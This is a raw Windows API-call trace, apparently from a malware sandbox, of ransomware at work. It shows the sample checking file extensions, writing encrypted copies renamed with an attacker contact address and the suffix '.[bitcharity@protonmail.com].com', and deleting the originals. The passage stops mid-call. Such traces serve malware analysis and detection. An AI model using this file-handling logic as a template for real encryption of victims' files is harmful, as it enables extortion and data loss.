lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.904] lstrlenW (lpString=".bz2") returned 4 [0134.904] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.904] lstrlenW (lpString=".7z") returned 3 [0134.904] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.904] lstrlenW (lpString=".dbf") returned 4 [0134.904] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.904] lstrlenW (lpString=".1cd") returned 4 [0134.904] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.904] lstrlenW (lpString=".jpg") returned 4 [0134.904] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.904] lstrlenW (lpString=".doc") returned 4 [0134.904] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.904] lstrlenW (lpString=".docx") returned 5 [0134.904] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.904] lstrlenW (lpString=".pdf") returned 4 [0134.904] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.905] lstrlenW (lpString=".xls") returned 4 [0134.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.905] lstrlenW (lpString=".xlsx") returned 5 [0134.905] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.905] lstrlenW (lpString=".ppt") returned 4 [0134.905] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.905] lstrlenW (lpString=".zip") returned 4 [0134.905] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.905] lstrlenW (lpString=".rar") returned 4 [0134.905] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.905] lstrlenW (lpString=".bz2") returned 4 [0134.905] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.905] lstrlenW (lpString=".7z") returned 3 [0134.905] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.905] lstrlenW (lpString=".dbf") returned 4 [0134.905] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.905] lstrlenW (lpString=".1cd") returned 4 [0134.905] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.905] lstrlenW (lpString=".jpg") returned 4 [0134.905] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.905] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0134.906] lstrlenW (lpString="SetupResources.dll") returned 18 [0134.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0134.906] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18776) returned 1 [0134.906] CloseHandle (hObject=0x10ac) returned 1 [0134.906] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0134.906] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0134.906] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.906] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0135.006] GetLastError () returned 0x0 [0135.006] ReadFile (in: hFile=0x10ac, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0135.094] WriteFile (in: hFile=0x10a4, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0135.095] ReadFile (in: hFile=0x10ac, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.095] WriteFile (in: hFile=0x10a4, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0135.095] SetEndOfFile (hFile=0x10a4) returned 1 [0135.096] CloseHandle (hObject=0x10a4) returned 1 [0135.097] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.097] SetEndOfFile (hFile=0x10ac) returned 1 [0135.098] CloseHandle (hObject=0x10ac) returned 1 [0135.098] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.098] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0135.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.098] lstrlenW (lpString=".doc") returned 4 [0135.098] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.098] lstrlenW (lpString=".docx") returned 5 [0135.098] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.098] lstrlenW (lpString=".pdf") returned 4 [0135.098] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.098] lstrlenW (lpString=".xls") returned 4 [0135.098] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString=".xlsx") returned 5 [0135.099] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.099] lstrlenW (lpString=".ppt") returned 4 [0135.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.099] lstrlenW (lpString=".zip") returned 4 [0135.099] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString=".rar") returned 4 [0135.099] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString=".bz2") returned 4 [0135.099] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.099] lstrlenW (lpString=".7z") returned 3 [0135.099] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.099] lstrlenW (lpString=".dbf") returned 4 [0135.099] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.099] lstrlenW (lpString=".1cd") returned 4 [0135.099] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.099] lstrlenW (lpString=".jpg") returned 4 [0135.099] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.099] lstrlenW (lpString=".doc") returned 4 [0135.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString=".docx") returned 5 [0135.099] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.099] lstrlenW (lpString=".pdf") returned 4 [0135.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString=".xls") returned 4 [0135.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.099] lstrlenW (lpString=".xlsx") returned 5 [0135.099] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.099] lstrlenW (lpString=".ppt") returned 4 [0135.100] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.100] lstrlenW (lpString=".zip") returned 4 [0135.100] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.100] lstrlenW (lpString=".rar") returned 4 [0135.100] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.100] lstrlenW (lpString=".bz2") returned 4 [0135.100] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.100] lstrlenW (lpString=".7z") returned 3 [0135.100] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.100] lstrlenW (lpString=".dbf") returned 4 [0135.100] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.100] lstrlenW (lpString=".1cd") returned 4 [0135.100] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0135.100] lstrlenW (lpString=".jpg") returned 4 [0135.100] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.100] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0135.100] lstrlenW (lpString="Print.ico") returned 9 [0135.100] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0135.637] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1150) returned 1 [0135.637] CloseHandle (hObject=0x1080) returned 1 [0135.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0135.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0135.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0135.637] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.637] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.638] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.307] GetLastError () returned 0x0 [0136.307] ReadFile (in: hFile=0x1080, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x47e, lpOverlapped=0x0) returned 1 [0136.348] WriteFile (in: hFile=0x10c0, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x480, lpOverlapped=0x0) returned 1 [0136.350] ReadFile (in: hFile=0x1080, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.350] WriteFile (in: hFile=0x10c0, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe6, lpOverlapped=0x0) returned 1 [0136.350] SetEndOfFile (hFile=0x10c0) returned 1 [0136.351] CloseHandle (hObject=0x10c0) returned 1 [0136.353] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.353] SetEndOfFile (hFile=0x1080) returned 1 [0136.354] CloseHandle (hObject=0x1080) returned 1 [0136.354] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.354] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0136.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.355] lstrlenW (lpString=".doc") returned 4 [0136.355] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.355] lstrlenW (lpString=".docx") returned 5 [0136.355] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0136.355] lstrlenW (lpString=".pdf") returned 4 [0136.355] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.355] lstrlenW (lpString=".xls") returned 4 [0136.355] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.355] lstrlenW (lpString=".xlsx") returned 5 [0136.355] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0136.355] lstrlenW (lpString=".ppt") returned 4 [0136.355] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.355] lstrlenW (lpString=".zip") returned 4 [0136.355] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.355] lstrlenW (lpString=".rar") returned 4 [0136.355] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.355] lstrlenW (lpString=".bz2") returned 4 [0136.355] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.355] lstrlenW (lpString=".7z") returned 3 [0136.355] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.356] lstrlenW (lpString=".dbf") returned 4 [0136.356] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.356] lstrlenW (lpString=".1cd") returned 4 [0136.356] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.356] lstrlenW (lpString=".jpg") returned 4 [0136.356] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.356] lstrlenW (lpString=".doc") returned 4 [0136.356] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.356] lstrlenW (lpString=".docx") returned 5 [0136.356] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0136.356] lstrlenW (lpString=".pdf") returned 4 [0136.356] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.356] lstrlenW (lpString=".xls") returned 4 [0136.356] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.356] lstrlenW (lpString=".xlsx") returned 5 [0136.356] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0136.356] lstrlenW (lpString=".ppt") returned 4 [0136.356] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.357] lstrlenW (lpString=".zip") returned 4 [0136.357] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.357] lstrlenW (lpString=".rar") returned 4 [0136.357] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.357] lstrlenW (lpString=".bz2") returned 4 [0136.357] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.357] lstrlenW (lpString=".7z") returned 3 [0136.357] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.357] lstrlenW (lpString=".dbf") returned 4 [0136.357] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.357] lstrlenW (lpString=".1cd") returned 4 [0136.357] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0136.357] lstrlenW (lpString=".jpg") returned 4 [0136.357] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.357] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.357] lstrlenW (lpString="Rotate4.ico") returned 11 [0136.357] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0136.367] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=894) returned 1 [0136.367] CloseHandle (hObject=0x10c4) returned 1 [0136.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0136.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0136.367] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.367] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0136.368] GetLastError () returned 0x0 [0136.368] ReadFile (in: hFile=0x10c4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.511] WriteFile (in: hFile=0x10c8, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.512] ReadFile (in: hFile=0x10c4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.512] WriteFile (in: hFile=0x10c8, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.512] SetEndOfFile (hFile=0x10c8) returned 1 [0136.512] CloseHandle (hObject=0x10c8) returned 1 [0136.519] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.519] SetEndOfFile (hFile=0x10c4) returned 1 [0136.520] CloseHandle (hObject=0x10c4) returned 1 [0136.520] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.520] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0136.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.520] lstrlenW (lpString=".doc") returned 4 [0136.521] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.521] lstrlenW (lpString=".docx") returned 5 [0136.521] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0136.521] lstrlenW (lpString=".pdf") returned 4 [0136.521] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.521] lstrlenW (lpString=".xls") returned 4 [0136.521] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.521] lstrlenW (lpString=".xlsx") returned 5 [0136.521] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0136.521] lstrlenW (lpString=".ppt") returned 4 [0136.521] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.521] lstrlenW (lpString=".zip") returned 4 [0136.521] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.521] lstrlenW (lpString=".rar") returned 4 [0136.521] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.521] lstrlenW (lpString=".bz2") returned 4 [0136.521] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.521] lstrlenW (lpString=".7z") returned 3 [0136.521] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.521] lstrlenW (lpString=".dbf") returned 4 [0136.521] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.521] lstrlenW (lpString=".1cd") returned 4 [0136.521] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.521] lstrlenW (lpString=".jpg") returned 4 [0136.521] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.522] lstrlenW (lpString=".doc") returned 4 [0136.522] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.522] lstrlenW (lpString=".docx") returned 5 [0136.522] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0136.522] lstrlenW (lpString=".pdf") returned 4 [0136.522] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.522] lstrlenW (lpString=".xls") returned 4 [0136.522] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.522] lstrlenW (lpString=".xlsx") returned 5 [0136.522] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0136.522] lstrlenW (lpString=".ppt") returned 4 [0136.522] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.522] lstrlenW (lpString=".zip") returned 4 [0136.522] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.522] lstrlenW (lpString=".rar") returned 4 [0136.522] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.522] lstrlenW (lpString=".bz2") returned 4 [0136.522] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.522] lstrlenW (lpString=".7z") returned 3 [0136.522] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.522] lstrlenW (lpString=".dbf") returned 4 [0136.522] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0136.522] lstrlenW 